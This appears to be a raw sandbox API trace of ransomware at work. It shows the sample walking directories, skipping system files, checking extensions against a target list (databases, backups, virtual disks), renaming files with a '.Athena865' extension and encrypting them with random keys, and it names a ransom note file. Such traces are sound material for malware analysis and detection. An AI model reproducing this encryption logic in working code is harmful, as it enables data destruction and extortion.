[0129.429] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12764) returned 1 [0129.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.429] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.430] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.430] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.430] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34e0, lpName=0x0) returned 0x154 [0129.432] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x34e0) returned 0x100000 [0129.433] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.434] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.434] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.434] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.435] CloseHandle (hObject=0x154) returned 1 [0129.435] CloseHandle (hObject=0x17c) returned 1 [0129.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.435] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da6a400, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7da6a400, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x3854, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0281632.WMF", cAlternateFileName="")) returned 1 [0129.435] lstrcmpiW (lpString1="J0281632.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.435] lstrcmpiW (lpString1="J0281632.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.435] lstrcmpiW (lpString1="J0281632.WMF", lpString2=".") returned 1 [0129.435] lstrcmpiW (lpString1="J0281632.WMF", lpString2="..") returned 1 [0129.435] lstrcmpiW (lpString1="J0281632.WMF", lpString2="windows") returned -1 [0129.435] lstrcmpiW (lpString1="J0281632.WMF", lpString2="bootmgr") returned 1 [0129.435] lstrcmpiW (lpString1="J0281632.WMF", lpString2="temp") returned -1 [0129.435] lstrcmpiW (lpString1="J0281632.WMF", lpString2="pagefile.sys") returned -1 [0129.435] lstrcmpiW (lpString1="J0281632.WMF", lpString2="boot") returned 1 [0129.435] lstrcmpiW (lpString1="J0281632.WMF", lpString2="ids.txt") returned 1 [0129.436] lstrcmpiW (lpString1="J0281632.WMF", lpString2="ntuser.dat") returned -1 [0129.436] lstrcmpiW (lpString1="J0281632.WMF", lpString2="perflogs") returned -1 [0129.436] lstrcmpiW (lpString1="J0281632.WMF", lpString2="MSBuild") returned -1 [0129.436] lstrlenW (lpString="J0281632.WMF") returned 12 [0129.436] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0281632.WMF" | out: lpString1="J0281632.WMF") returned="J0281632.WMF" [0129.436] lstrlenW (lpString="J0281632.WMF") returned 12 [0129.436] lstrlenW (lpString="Athena865") returned 9 [0129.436] lstrcmpiW (lpString1="81632.WMF", lpString2="Athena865") returned -1 [0129.436] lstrlenW (lpString=".dll") returned 4 [0129.436] lstrcmpiW (lpString1="J0281632.WMF", lpString2=".dll") returned 1 [0129.436] lstrlenW (lpString=".lnk") returned 4 [0129.436] lstrcmpiW (lpString1="J0281632.WMF", lpString2=".lnk") returned 1 [0129.436] lstrlenW (lpString=".ini") returned 4 [0129.436] lstrcmpiW (lpString1="J0281632.WMF", lpString2=".ini") returned 1 [0129.436] lstrlenW (lpString=".sys") returned 4 [0129.436] lstrcmpiW (lpString1="J0281632.WMF", lpString2=".sys") returned 1 [0129.436] lstrlenW (lpString="J0281632.WMF") returned 12 [0129.436] lstrlenW (lpString="bak") returned 3 [0129.436] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.436] lstrlenW (lpString="ba_") returned 3 [0129.436] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.436] lstrlenW (lpString="dbb") returned 3 [0129.436] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.436] lstrlenW (lpString="vmdk") returned 4 [0129.436] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.436] lstrlenW (lpString="rar") returned 3 [0129.437] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.437] lstrlenW (lpString="zip") returned 3 [0129.437] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.437] lstrlenW (lpString="tgz") returned 3 [0129.437] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.437] lstrlenW (lpString="vbox") returned 4 [0129.437] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.437] lstrlenW (lpString="vdi") returned 3 [0129.437] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.437] lstrlenW (lpString="vhd") returned 3 [0129.437] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.437] lstrlenW (lpString="vhdx") returned 4 [0129.437] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.437] lstrlenW (lpString="avhd") returned 4 [0129.437] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.437] lstrlenW (lpString="db") returned 2 [0129.437] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.437] lstrlenW (lpString="db2") returned 3 [0129.437] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.437] lstrlenW (lpString="db3") returned 3 [0129.437] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.437] lstrlenW (lpString="dbf") returned 3 [0129.437] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.437] lstrlenW (lpString="mdf") returned 3 [0129.437] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.437] lstrlenW (lpString="mdb") returned 3 [0129.437] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.437] lstrlenW (lpString="sql") returned 3 [0129.437] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.438] lstrlenW (lpString="sqlite") returned 6 [0129.438] lstrcmpiW (lpString1="32.WMF", lpString2="sqlite") returned -1 [0129.438] lstrlenW (lpString="sqlite3") returned 7 [0129.438] lstrcmpiW (lpString1="632.WMF", lpString2="sqlite3") returned -1 [0129.438] lstrlenW (lpString="sqlitedb") returned 8 [0129.438] lstrcmpiW (lpString1="1632.WMF", lpString2="sqlitedb") returned -1 [0129.438] lstrlenW (lpString="xml") returned 3 [0129.438] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.438] lstrlenW (lpString="$er") returned 3 [0129.438] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.438] lstrlenW (lpString="4dd") returned 3 [0129.438] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.438] lstrlenW (lpString="4dl") returned 3 [0129.438] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.438] lstrlenW (lpString="^^^") returned 3 [0129.438] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.438] lstrlenW (lpString="abs") returned 3 [0129.438] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.438] lstrlenW (lpString="abx") returned 3 [0129.438] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.438] lstrlenW (lpString="accdb") returned 5 [0129.438] lstrcmpiW (lpString1="2.WMF", lpString2="accdb") returned -1 [0129.438] lstrlenW (lpString="accdc") returned 5 [0129.438] lstrcmpiW (lpString1="2.WMF", lpString2="accdc") returned -1 [0129.438] lstrlenW (lpString="accde") returned 5 [0129.438] lstrcmpiW (lpString1="2.WMF", lpString2="accde") returned -1 [0129.438] lstrlenW (lpString="accdr") returned 5 [0129.438] lstrcmpiW (lpString1="2.WMF", lpString2="accdr") returned -1 [0129.439] lstrlenW (lpString="accdt") returned 5 [0129.439] lstrcmpiW (lpString1="2.WMF", lpString2="accdt") returned -1 [0129.439] lstrlenW (lpString="accdw") returned 5 [0129.439] lstrcmpiW (lpString1="2.WMF", lpString2="accdw") returned -1 [0129.439] lstrlenW (lpString="accft") returned 5 [0129.439] lstrcmpiW (lpString1="2.WMF", lpString2="accft") returned -1 [0129.439] lstrlenW (lpString="adb") returned 3 [0129.439] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.439] lstrlenW (lpString="adb") returned 3 [0129.439] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.439] lstrlenW (lpString="ade") returned 3 [0129.439] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.439] lstrlenW (lpString="adf") returned 3 [0129.439] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.439] lstrlenW (lpString="adn") returned 3 [0129.439] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.439] lstrlenW (lpString="adp") returned 3 [0129.439] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.439] lstrlenW (lpString="alf") returned 3 [0129.439] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.439] lstrlenW (lpString="ask") returned 3 [0129.439] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.439] lstrlenW (lpString="btr") returned 3 [0129.439] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.439] lstrlenW (lpString="cat") returned 3 [0129.439] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.439] lstrlenW (lpString="cdb") returned 3 [0129.439] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.440] lstrlenW (lpString="ckp") returned 3 [0129.440] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.440] lstrlenW (lpString="cma") returned 3 [0129.440] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.440] lstrlenW (lpString="cpd") returned 3 [0129.440] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.440] lstrlenW (lpString="dacpac") returned 6 [0129.440] lstrcmpiW (lpString1="32.WMF", lpString2="dacpac") returned -1 [0129.440] lstrlenW (lpString="dad") returned 3 [0129.440] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.440] lstrlenW (lpString="dadiagrams") returned 10 [0129.440] lstrcmpiW (lpString1="281632.WMF", lpString2="dadiagrams") returned -1 [0129.440] lstrlenW (lpString="daschema") returned 8 [0129.440] lstrcmpiW (lpString1="1632.WMF", lpString2="daschema") returned -1 [0129.440] lstrlenW (lpString="db-journal") returned 10 [0129.440] lstrcmpiW (lpString1="281632.WMF", lpString2="db-journal") returned -1 [0129.440] lstrlenW (lpString="db-shm") returned 6 [0129.440] lstrcmpiW (lpString1="32.WMF", lpString2="db-shm") returned -1 [0129.440] lstrlenW (lpString="db-wal") returned 6 [0129.440] lstrcmpiW (lpString1="32.WMF", lpString2="db-wal") returned -1 [0129.440] lstrlenW (lpString="dbc") returned 3 [0129.440] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.440] lstrlenW (lpString="dbs") returned 3 [0129.440] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.440] lstrlenW (lpString="dbt") returned 3 [0129.440] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.440] lstrlenW (lpString="dbv") returned 3 [0129.440] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.441] lstrlenW (lpString="dbx") returned 3 [0129.441] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.441] lstrlenW (lpString="dcb") returned 3 [0129.441] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.441] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.441] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.Athena865") returned 73 [0129.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf.athena865"), dwFlags=0x1) returned 1 [0129.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.442] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14420) returned 1 [0129.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.443] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.443] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.444] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.444] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b60, lpName=0x0) returned 0x154 [0129.446] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b60) returned 0x100000 [0129.448] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.448] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.448] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.449] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.449] CloseHandle (hObject=0x154) returned 1 [0129.449] CloseHandle (hObject=0x17c) returned 1 [0129.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.450] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87300c00, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87300c00, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0281638.WMF", cAlternateFileName="")) returned 1 [0129.450] lstrcmpiW (lpString1="J0281638.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.450] lstrcmpiW (lpString1="J0281638.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.450] lstrcmpiW (lpString1="J0281638.WMF", lpString2=".") returned 1 [0129.450] lstrcmpiW (lpString1="J0281638.WMF", lpString2="..") returned 1 [0129.450] lstrcmpiW (lpString1="J0281638.WMF", lpString2="windows") returned -1 [0129.450] lstrcmpiW (lpString1="J0281638.WMF", lpString2="bootmgr") returned 1 [0129.450] lstrcmpiW (lpString1="J0281638.WMF", lpString2="temp") returned -1 [0129.450] lstrcmpiW (lpString1="J0281638.WMF", lpString2="pagefile.sys") returned -1 [0129.450] lstrcmpiW (lpString1="J0281638.WMF", lpString2="boot") returned 1 [0129.450] lstrcmpiW (lpString1="J0281638.WMF", lpString2="ids.txt") returned 1 [0129.450] lstrcmpiW (lpString1="J0281638.WMF", lpString2="ntuser.dat") returned -1 [0129.450] lstrcmpiW (lpString1="J0281638.WMF", lpString2="perflogs") returned -1 [0129.450] lstrcmpiW (lpString1="J0281638.WMF", lpString2="MSBuild") returned -1 [0129.450] lstrlenW (lpString="J0281638.WMF") returned 12 [0129.450] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0281638.WMF" | out: lpString1="J0281638.WMF") returned="J0281638.WMF" [0129.450] lstrlenW (lpString="J0281638.WMF") returned 12 [0129.450] lstrlenW (lpString="Athena865") returned 9 [0129.451] lstrcmpiW (lpString1="81638.WMF", lpString2="Athena865") returned -1 [0129.451] lstrlenW (lpString=".dll") returned 4 [0129.451] lstrcmpiW (lpString1="J0281638.WMF", lpString2=".dll") returned 1 [0129.451] lstrlenW (lpString=".lnk") returned 4 [0129.451] lstrcmpiW (lpString1="J0281638.WMF", lpString2=".lnk") returned 1 [0129.451] lstrlenW (lpString=".ini") returned 4 [0129.451] lstrcmpiW (lpString1="J0281638.WMF", lpString2=".ini") returned 1 [0129.451] lstrlenW (lpString=".sys") returned 4 [0129.451] lstrcmpiW (lpString1="J0281638.WMF", lpString2=".sys") returned 1 [0129.451] lstrlenW (lpString="J0281638.WMF") returned 12 [0129.451] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.Athena865") returned 73 [0129.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf.athena865"), dwFlags=0x1) returned 1 [0129.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.452] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11912) returned 1 [0129.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.453] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.454] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.454] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.454] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3190, lpName=0x0) returned 0x154 [0129.456] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3190) returned 0x100000 [0129.458] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.459] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.459] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.460] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.460] CloseHandle (hObject=0x154) returned 1 [0129.460] CloseHandle (hObject=0x17c) returned 1 [0129.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.460] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88613900, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88613900, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0281640.WMF", cAlternateFileName="")) returned 1 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2=".") returned 1 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2="..") returned 1 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2="windows") returned -1 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2="bootmgr") returned 1 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2="temp") returned -1 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2="pagefile.sys") returned -1 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2="boot") returned 1 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2="ids.txt") returned 1 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2="ntuser.dat") returned -1 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2="perflogs") returned -1 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2="MSBuild") returned -1 [0129.461] lstrlenW (lpString="J0281640.WMF") returned 12 [0129.461] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0281640.WMF" | out: lpString1="J0281640.WMF") returned="J0281640.WMF" [0129.461] lstrlenW (lpString="J0281640.WMF") returned 12 [0129.461] lstrlenW (lpString="Athena865") returned 9 [0129.461] lstrcmpiW (lpString1="81640.WMF", lpString2="Athena865") returned -1 [0129.461] lstrlenW (lpString=".dll") returned 4 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2=".dll") returned 1 [0129.461] lstrlenW (lpString=".lnk") returned 4 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2=".lnk") returned 1 [0129.461] lstrlenW (lpString=".ini") returned 4 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2=".ini") returned 1 [0129.461] lstrlenW (lpString=".sys") returned 4 [0129.461] lstrcmpiW (lpString1="J0281640.WMF", lpString2=".sys") returned 1 [0129.462] lstrlenW (lpString="J0281640.WMF") returned 12 [0129.462] lstrlenW (lpString="bak") returned 3 [0129.462] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.462] lstrlenW (lpString="ba_") returned 3 [0129.462] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.462] lstrlenW (lpString="dbb") returned 3 [0129.462] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.462] lstrlenW (lpString="vmdk") returned 4 [0129.462] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.462] 